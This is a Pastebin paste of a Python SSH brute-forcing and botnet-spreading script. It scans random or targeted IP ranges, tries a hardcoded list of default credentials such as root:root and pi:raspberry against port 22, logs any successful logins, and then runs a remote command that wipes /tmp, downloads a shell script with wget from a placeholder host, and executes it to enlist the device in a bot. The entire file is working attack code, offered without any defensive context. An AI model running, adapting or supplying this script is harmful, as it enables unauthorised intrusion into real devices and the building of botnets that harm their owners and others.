Guest User

ssh bruteor

a guest
Jul 24th, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.25 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. blacklist = [
  7.     '127'
  8. ]
  9.  
  10. passwords = [
  11.     "root:root",
  12.     "root:admin",
  13.     "admin:admin",
  14.     "ubnt:ubnt"
  15.     "root:1234",
  16.     "admin:1234",
  17.     "guest:guest",
  18.     "user:user",
  19.     "test:test",
  20.     "pi:raspberry",
  21.     "vagrant:vagrant",
  22.     "admin:admin",
  23.     "admin:12345",
  24.     "12345:12345",
  25.     "admin:password",
  26.     "banana:pi",
  27.     "pi:banana",
  28.     "raspberry:pi",
  29.     "pi:raspberry",
  30.     "pi:pi"
  31. ]
  32.  
  33. if sys.argv[4] == '1':
  34.     passwords = ["root:root", "root:1234", "root:admin", "admin:admin", "admin:12345", "12345:12345", "admin:password", "banana:pi", "pi:banana", "raspberry:pi", "pi:raspberry", "pi:pi"]
  35. if sys.argv[4] == 'stable':
  36.     passwords = ["root:root"]
  37. if sys.argv[4] == 'perl':
  38.     passwords = ["pi:raspberry", "raspberry:pi", "pi:raspberry", "root:root", "vagrant:vagrant" "banana:pi"]
  39. jackmeoff = random.choice(["Scan for routers"])
  40. raw_input('Press <ENTER> To '+jackmeoff)
  41.  
  42. ipclassinfo = sys.argv[2]
  43. if ipclassinfo == "A":
  44.     ip1 = sys.argv[3]
  45. elif ipclassinfo == "B":
  46.     ip1 = sys.argv[3].split(".")[0]
  47.     ip2 = sys.argv[3].split(".")[1]
  48. elif ipclassinfo == "C":
  49.     ips = sys.argv[3].split(".")
  50.     num=0
  51.     for ip in ips:
  52.         num=num+1
  53.         if num == 1:
  54.             ip1 = ip
  55.         elif num == 2:
  56.             ip2 = ip
  57.         elif num == 3:
  58.             ip3 = ip
  59. class sshscanner(threading.Thread):
  60.     global passwords
  61.     global ipclassinfo
  62.     if ipclassinfo == "A":
  63.         global ip1
  64.     elif ipclassinfo == "B":
  65.         global ip1
  66.         global ip2
  67.     elif ipclassinfo == "C":
  68.         global ip1
  69.         global ip2
  70.         global ip3
  71.     def run(self):
  72.         while 1:
  73.             try:
  74.                 while 1:
  75.                     thisipisbad='no'
  76.                     if ipclassinfo == "A":
  77.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78.                     elif ipclassinfo == "B":
  79.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  80.                     elif ipclassinfo == "C":
  81.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  82.                     elif ipclassinfo == "BRAZIL":
  83.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  84.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  85.                     elif ipclassinfo == "SUPER":
  86.                         yeet = ["102", "122","131","161","37","186","187","31","188","201","2","200"]
  87.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  88.                     elif ipclassinfo == "LUCKY":
  89.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  90.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  91.                     elif ipclassinfo == "LUCKY2":
  92.                         lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  93.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  94.                     elif ipclassinfo == "RAND":
  95.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96.                     elif ipclassinfo == "INTERNET":
  97.                         lol = ["1"]
  98.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  99.                     else:
  100.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  101.                     for badip in blacklist:
  102.                         if badip in self.host:
  103.                             thisipisbad='yes'
  104.                     if thisipisbad=='no':
  105.                         break
  106.                 username='root'
  107.                 password=""
  108.                 port = 22
  109.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  110.                 s.settimeout(3)
  111.                 s.connect((self.host, port))
  112.                 s.close()
  113.                 ssh = paramiko.SSHClient()
  114.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  115.                 dobreak=False
  116.                 for passwd in passwords:
  117.                     if ":n/a" in passwd:
  118.                         password=""
  119.                     else:
  120.                         password=passwd.split(":")[1]
  121.                     if "n/a:" in passwd:
  122.                         username=""
  123.                     else:
  124.                         username=passwd.split(":")[0]
  125.                     try:
  126.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  127.                         dobreak=True
  128.                         break
  129.                     except:
  130.                         pass
  131.                     if True == dobreak:
  132.                         break
  133.                 badserver=True
  134.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  135.                 output = stdout.read()
  136.                 if "inet addr" in output:
  137.                     badserver=False
  138.                 if badserver == False:
  139.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  140.                         ssh.exec_command("cd /tmp; rm *; wget http://ip/Bot/stun.sh ; chmod +x stun.sh ; sh stun.sh ; rm -f stun.sh")
  141.                         time.sleep(20)
  142.                         ssh.close()
  143.             except:
  144.                 pass
  145.  
  146. for x in range(0,int(sys.argv[1])):
  147.     try:
  148.         t = sshscanner()
  149.         t.start()
  150.     except:
  151.         pass
Add Comment
Please, Sign In to add comment